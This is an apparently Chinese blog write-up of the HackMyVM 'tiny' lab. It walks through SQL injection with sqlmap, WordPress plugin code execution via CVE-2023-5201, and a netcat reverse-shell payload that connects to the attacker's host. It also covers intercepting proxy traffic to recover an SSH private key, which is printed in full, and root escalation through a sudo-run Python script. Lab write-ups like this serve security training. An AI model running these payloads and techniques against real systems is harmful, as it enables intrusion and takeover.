打靶手记之hackmyvm--tiny-程序员宅基地

技术标签: 安全  web安全  运维  网络安全  打靶手记  

继续这个系列

信息收集

扫网段和端口

图片

开放了 22 80 8888

8888端口运行的代理服务,一会留意一下。

访问web,页面如下,一个WordPress的页面

图片

先来扫目录

dirsearch -w /usr/share/wordlists/dirb/big.txt -u 192.168.56.104

图片

其中几个关注的点

http://192.168.56.104/wp-includes/    没有可用信息

图片

第二个页面

访问http://192.168.56.104/wp-admin/会跳转到如下地址

图片

看上图的url,意思是用户登录成功后将他们重定向到指定的http://192.168.56.104/wp-admin/,这个wp-admin应该是管理员后台,reauth=1意味着要求我们重新验证身份

也就是说,给了我们一个域名tiny.hmv和一个管理员后台地址,但是访问域名是无法解析的

当然,这是因为该靶机用了基于名称的虚拟主机技术,它允许一个物理服务器托管多个网站域名。每个网站都有自t己的域名和可能的内容,简单理解就是多个网站共享一个IP地址。

所以这个域名在我们本地的DNS服务器中没有记录,我们需要手动把这个域名添加到hosts里

图片

然后就可以正常显示页面了

图片

还在robots.txt发现了一个子域名

图片

当然这个子域名也是需要添加到hosts里才能访问

图片

经典登录框,有什么思路呢?

之前文章里讲过xss钓管理员,但是这里后台并没有管理员,也没有弱口令,那就看看有没有sql注入

图片

有戏,上sqlmap

图片

下面经典爆库,爆表

图片

就两个表,information_schema也有wish的信息,看哪一个都无所谓了,但毕竟这是时间盲注,所以节省时间看wish_db的表好了

图片

看admin表的列

图片

看数据

图片

账号umeko,密码解密为f*ckt!(好脏的密码,打个码)

但是wish这个后台登录不进去,还记得之前那个admin的后台吗,用这个账号密码去试一下

图片

进来了

getshell

先看nday,比如添加wp-file-manager插件getshell,可是没有权限,同样也看不到已经安装了哪些插件

图片

那就看看其他插件有没有nday了,所以第一步需要fuzz出已经安装了哪些插件

插件名字典地址

https://github.com/RamadhanAmizudin/Wordpress-scanner/blob/master/base/data/list-plugins.txt

图片

对于akismet插件,由于没有权限编辑外观,无法getshell,只能看另外一个插件(thesis-openhook)了,找到一个远程命令执行的洞--CVE-2023-5201,产生漏洞的代码如下,原理就是eval() 函数可以执行 $content 变量中的PHP代码,造成RCE,感兴趣的读者可以去读一下。

https://plugins.trac.wordpress.org/browser/thesis-openhook/tags/4.3.1/inc/shortcodes.php?rev=2972840#L24

检验漏洞是否存在也很简单,只需要编辑welcome world那篇文章,加上相应的php代码就行了。如下

图片

访问,解析了表明存在

图片

来getshell

kali监听7777端口,然后继续编辑刚才那篇文章,加入以下内容

[php]<?php system('nc -e /bin/bash 192.168.56.101 7777'); ?>[/php]

图片

弹回来了,但是权限低

图片

提权

这个shell好不舒服,提升一下交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'

刚才信息收集时遇到的那个8888端口,对应一个代理服务,说不定有用,那就看一下网络情况和进程

图片

图片

开了一个Tinyproxy代理服务。看一下配置信息

cat /etc/tinyproxy/tinyproxy.conf | grep -v '#' | grep . #排除了所有的注释行和空行

图片

从配置信息里可以看出所有流量会被转发到本地的1111端口。

监听一下1111端口,看一下收到的流量

图片

id_rsa是ssh的私钥,说明这里是通过http来访问id_rsa,也就是说从8000端口获取私钥,那么我们现在可以监听1111端口,把1111端口收到的流量转发到8000端口。我们就可以看到如下内容(即id_rsa内容)

socat -v tcp-listen:1111 tcp:localhost:8000

图片

复制下来写入id_rsa,并给600权限(文件所有者读写权限,其他用户无权限)

-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----

图片

连接ssh

图片

查看权限

图片

上面有一个car.py,看一下内容

图片

vic用户无需输入密码就能以任何用户权限运行car.py,也就是说这里可以用root权限运行该脚本,那就看一下这个脚本有没有洞

car.py里用到pydash库的objects.invoke()方法,这里存在命令执行

利用前提:

    当objects.invoke方法的第一个参数不是内置对象如list或dict(这里是一个car类),且第二个和第三个参数输入可控。

刚刚好,都满足,那就试一下如下命令,解释一下这条命令,sudo是以root权限运行(不用输入密码),第一个参数car是作为invoke的入口点,第二个参数是一个自定义的路径,意为去调用os.system方法去执行后面的命令(bash -p),bash -p是启动一个root权限的shell

sudo /usr/bin/python3 /opt/car.py __init__.__globals__.random._os.system "bash -p"

图片

成功提权,flag在/root下的root.txt里

往期文章

权限维持和排查

权限维持之加载动态链接库隐藏进程 tcp连接

继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)

别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)

你不知道的win应急思路!从维权到排查,面试必问!不来看看?

只会netstat?最全应急排查网络连接思路,不学一下吗?

rootkit原理

初探rookit(另一种角度看维权) (qq.com)

从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)

漏洞复现和利用手法

从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)

浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理

从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)

浅分析 Apache Confluence [CVE-2023-22515]

再谈宝塔后门账号维权

浅谈jenkins后渗透

一些工具和原理

浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)

浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理

魔改蚁剑之零基础编写解码器

一些渗透手法

浅谈水坑攻击之结合xss平台钓鱼获取浏览器记录和微信数据

试听课--水坑攻击之xss平台钓鱼上线以及后渗透流程 (qq.com)

试听课之小白快速理解xss钓鱼原理和手法 以及后渗透流程 (qq.com)

从绕过disable_functions到关于so的一些想法

windows获取hash常见手法 (qq.com)

CDN+Nginx反向代理来隐藏c2地址

CDN和域名隐藏C2地址 (qq.com)

云函数实现隐藏c2地址 (qq.com)

一些杂谈

考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)

晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)

2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)

赛博保安hw讨薪总结(针对学生党) (qq.com)

再加一个打靶系列

如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)

打靶手记之hackmyvm--UnbakedPie (qq.com)

打靶手机之hackmyvm--connection (qq.com)

打靶手记4

打靶手记 · 目录

上一篇如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/milu_Sec/article/details/136050452

智能推荐

什么是内部类?成员内部类、静态内部类、局部内部类和匿名内部类的区别及作用?_成员内部类和局部内部类的区别-程序员宅基地

文章浏览阅读3.4k次,点赞8次,收藏42次。一、什么是内部类?or 内部类的概念内部类是定义在另一个类中的类;下面类TestB是类TestA的内部类。即内部类对象引用了实例化该内部对象的外围类对象。public class TestA{ class TestB {}}二、 为什么需要内部类?or 内部类有什么作用?1、 内部类方法可以访问该类定义所在的作用域中的数据,包括私有数据。2、内部类可以对同一个包中的其他类隐藏起来。3、 当想要定义一个回调函数且不想编写大量代码时,使用匿名内部类比较便捷。三、 内部类的分类成员内部_成员内部类和局部内部类的区别

分布式系统_分布式系统运维工具-程序员宅基地

文章浏览阅读118次。分布式系统要求拆分分布式思想的实质搭配要求分布式系统要求按照某些特定的规则将项目进行拆分。如果将一个项目的所有模板功能都写到一起,当某个模块出现问题时将直接导致整个服务器出现问题。拆分按照业务拆分为不同的服务器,有效的降低系统架构的耦合性在业务拆分的基础上可按照代码层级进行拆分(view、controller、service、pojo)分布式思想的实质分布式思想的实质是为了系统的..._分布式系统运维工具

用Exce分析l数据极简入门_exce l趋势分析数据量-程序员宅基地

文章浏览阅读174次。1.数据源准备2.数据处理step1:数据表处理应用函数:①VLOOKUP函数; ② CONCATENATE函数终表:step2:数据透视表统计分析(1) 透视表汇总不同渠道用户数, 金额(2)透视表汇总不同日期购买用户数,金额(3)透视表汇总不同用户购买订单数,金额step3:讲第二步结果可视化, 比如, 柱形图(1)不同渠道用户数, 金额(2)不同日期..._exce l趋势分析数据量

宁盾堡垒机双因素认证方案_horizon宁盾双因素配置-程序员宅基地

文章浏览阅读3.3k次。堡垒机可以为企业实现服务器、网络设备、数据库、安全设备等的集中管控和安全可靠运行,帮助IT运维人员提高工作效率。通俗来说,就是用来控制哪些人可以登录哪些资产(事先防范和事中控制),以及录像记录登录资产后做了什么事情(事后溯源)。由于堡垒机内部保存着企业所有的设备资产和权限关系,是企业内部信息安全的重要一环。但目前出现的以下问题产生了很大安全隐患:密码设置过于简单,容易被暴力破解;为方便记忆,设置统一的密码,一旦单点被破,极易引发全面危机。在单一的静态密码验证机制下,登录密码是堡垒机安全的唯一_horizon宁盾双因素配置

谷歌浏览器安装(Win、Linux、离线安装)_chrome linux debian离线安装依赖-程序员宅基地

文章浏览阅读7.7k次,点赞4次,收藏16次。Chrome作为一款挺不错的浏览器,其有着诸多的优良特性,并且支持跨平台。其支持(Windows、Linux、Mac OS X、BSD、Android),在绝大多数情况下,其的安装都很简单,但有时会由于网络原因,无法安装,所以在这里总结下Chrome的安装。Windows下的安装:在线安装:离线安装:Linux下的安装:在线安装:离线安装:..._chrome linux debian离线安装依赖

烤仔TVの尚书房 | 逃离北上广?不如押宝越南“北上广”-程序员宅基地

文章浏览阅读153次。中国发达城市榜单每天都在刷新,但无非是北上广轮流坐庄。北京拥有最顶尖的文化资源,上海是“摩登”的国际化大都市,广州是活力四射的千年商都。GDP和发展潜力是衡量城市的数字指...

随便推点

java spark的使用和配置_使用java调用spark注册进去的程序-程序员宅基地

文章浏览阅读3.3k次。前言spark在java使用比较少,多是scala的用法,我这里介绍一下我在项目中使用的代码配置详细算法的使用请点击我主页列表查看版本jar版本说明spark3.0.1scala2.12这个版本注意和spark版本对应,只是为了引jar包springboot版本2.3.2.RELEASEmaven<!-- spark --> <dependency> <gro_使用java调用spark注册进去的程序

汽车零部件开发工具巨头V公司全套bootloader中UDS协议栈源代码,自己完成底层外设驱动开发后,集成即可使用_uds协议栈 源代码-程序员宅基地

文章浏览阅读4.8k次。汽车零部件开发工具巨头V公司全套bootloader中UDS协议栈源代码,自己完成底层外设驱动开发后,集成即可使用,代码精简高效,大厂出品有量产保证。:139800617636213023darcy169_uds协议栈 源代码

AUTOSAR基础篇之OS(下)_autosar 定义了 5 种多核支持类型-程序员宅基地

文章浏览阅读4.6k次,点赞20次,收藏148次。AUTOSAR基础篇之OS(下)前言首先,请问大家几个小小的问题,你清楚:你知道多核OS在什么场景下使用吗?多核系统OS又是如何协同启动或者关闭的呢?AUTOSAR OS存在哪些功能安全等方面的要求呢?多核OS之间的启动关闭与单核相比又存在哪些异同呢?。。。。。。今天,我们来一起探索并回答这些问题。为了便于大家理解,以下是本文的主题大纲:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JCXrdI0k-1636287756923)(https://gite_autosar 定义了 5 种多核支持类型

VS报错无法打开自己写的头文件_vs2013打不开自己定义的头文件-程序员宅基地

文章浏览阅读2.2k次,点赞6次,收藏14次。原因:自己写的头文件没有被加入到方案的包含目录中去,无法被检索到,也就无法打开。将自己写的头文件都放入header files。然后在VS界面上,右键方案名,点击属性。将自己头文件夹的目录添加进去。_vs2013打不开自己定义的头文件

【Redis】Redis基础命令集详解_redis命令-程序员宅基地

文章浏览阅读3.3w次,点赞80次,收藏342次。此时,可以将系统中所有用户的 Session 数据全部保存到 Redis 中,用户在提交新的请求后,系统先从Redis 中查找相应的Session 数据,如果存在,则再进行相关操作,否则跳转到登录页面。此时,可以将系统中所有用户的 Session 数据全部保存到 Redis 中,用户在提交新的请求后,系统先从Redis 中查找相应的Session 数据,如果存在,则再进行相关操作,否则跳转到登录页面。当数据量很大时,count 的数量的指定可能会不起作用,Redis 会自动调整每次的遍历数目。_redis命令

URP渲染管线简介-程序员宅基地

文章浏览阅读449次,点赞3次,收藏3次。URP的设计目标是在保持高性能的同时,提供更多的渲染功能和自定义选项。与普通项目相比,会多出Presets文件夹,里面包含着一些设置,包括本色,声音,法线,贴图等设置。全局只有主光源和附加光源,主光源只支持平行光,附加光源数量有限制,主光源和附加光源在一次Pass中可以一起着色。URP:全局只有主光源和附加光源,主光源只支持平行光,附加光源数量有限制,一次Pass可以计算多个光源。可编程渲染管线:渲染策略是可以供程序员定制的,可以定制的有:光照计算和光源,深度测试,摄像机光照烘焙,后期处理策略等等。_urp渲染管线

推荐文章

热门文章

相关标签